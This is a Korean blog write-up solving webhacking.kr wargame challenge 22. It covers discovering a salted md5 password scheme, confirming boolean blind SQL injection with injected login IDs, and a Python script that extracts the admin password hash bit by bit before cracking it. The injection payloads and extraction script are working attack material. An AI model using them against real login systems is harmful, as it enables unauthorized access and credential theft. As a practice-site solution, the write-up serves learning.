22번 문제를 접속하면 아래와 같이 로그인과 회원가입, 힌트가 주어집니다.



22번 문제를 다시 풀면서 webhacking.kr의 간단한 취약점을 발견 했는데 해당 취약점은 처리가 되면 따로 작성하도록 하겠습니다.


22번 제는 로그인을 하면 id와 pw를 출력 해주고 admin인 결구 Auth Key를 뿌려주는 것 같습니다.


우선 guest/guest 로 회원가입을 해봅시다.


회원가입에 성공 한 후 로그인을 하면 아래와 같은 화면을 볼 수 있습니다.



id와 pw를 뿌려주는데 user key부분을 보면 제가 입력한 패스워드랑 다르네요.


32글자이고 hash 처럼 생긴것이 md5 해쉬 같아서 구글에 그대로 검색 해보았습니다.



역시 md5가 맞았으며 guestzombie를 md5한 결과 인 것을 확인 할 수 있습니다.


아마 회원가입을 할때 입력한 비밀번호 + 'zombie' 값을 md5한 것 같네요.


이 처럼 뒤나 앞에 특정 단어를 salt라고 합니다.


이제 admin으로 로그인하려면 admin 계정의 비밀번호를 알아야 하는데 비밀번호 해쉬가 주어진 걸 보니 데이터베이스에서 가져오라는 것 같네요.


SQL Injection을 해야할 것 같네요.


로그인 했을 때 ID를 출력해주므로 Union 쿼리를 생각할 수 있지만 필터링에 사용할 수 없습니다.


그렇다면 Blind Injection을 통해서 admin의 비밀번호를 알아내는 방법 밖에는 없겠네요.


우선 Blinj Injection이 되는지 아래와 같은 쿼리를 넣어 봅시다.

(비밀번호는 아무거나 넣었습니다.)



admin' and 1-- 를 아이디로 넣었을 때 Wrong password! 라고 뜨네요.



아래와 같이 admin' and 0-- 을 아이디로 넣어 봅시다.



admin' and 0-- 을 넣었을 때는 Wrong!이라고 뜨네요.



이 처럼 결과가 다르니 Blind 기반의 SQL Injection을 할 수 있겠네요.


어떤 필터링이 있을지 항상 사용하는 함수들을 넣어서 사용 여부 또한 알아 봅시다.


이번 문제도 mid, lpad, bin, ord 함수에 대한 필터링은 없는 것을 확인 할 수 있었습니다.


따라서 아래와 같은 python 스크립트를 사용하여 admin의 비밀번호를 알 수 있습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import urllib, urllib2, re
 
result = str()
subqry = "pw"
 
for i in range(133):
    temp = "0b0"
    for j in range(29):
        param = {'id':"admin' and (mid(lpad(bin(ord(mid((" + subqry + ")," + str(i) + ",1))),8,0)," + str(j) + ",1))-- ",'pw':'jeong.su'}
        header = {'Cookie':'PHPSESSID=jeong0su'}
 
        req = urllib2.Request('http://webhacking.kr/challenge/bonus/bonus-2/index.php', urllib.urlencode(param), header)
        res = urllib2.urlopen(req)
 
        if re.findall("Wrong password!", res.read()):
            temp += "1"
        else:
            temp += "0"
 
    result += chr(int(temp, 2))
    print result
 
# result: 2a93a7cea083c6e9e02c97ec5a5d715a


결과는 2a93a7cea083c6e9e02c97ec5a5d715a로 아까와 마찬가지로 구글에 검색을 해봅시다.



rainbowzombie를 md5 한 값이 admin의 pw입니다.


zombie는 salt값이기 때문에 admin / rainbow를 넣고 로그인을 해봅시다.



위와 같이 admin으로 로그인이 되면서 문제가 풀렸네요.


끝!

'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 24번  (0) 2016.11.19
webhacking.kr 23번  (0) 2016.11.19
webhacking.kr 22번  (1) 2016.11.18
webhacking.kr 21번  (0) 2016.11.18
webhacking.kr 20번  (0) 2016.11.17
webhacking.kr 19번  (0) 2016.11.17
  1. Rap1er 2018.09.11 11:42

    관리자의 승인을 기다리고 있는 댓글입니다

+ Recent posts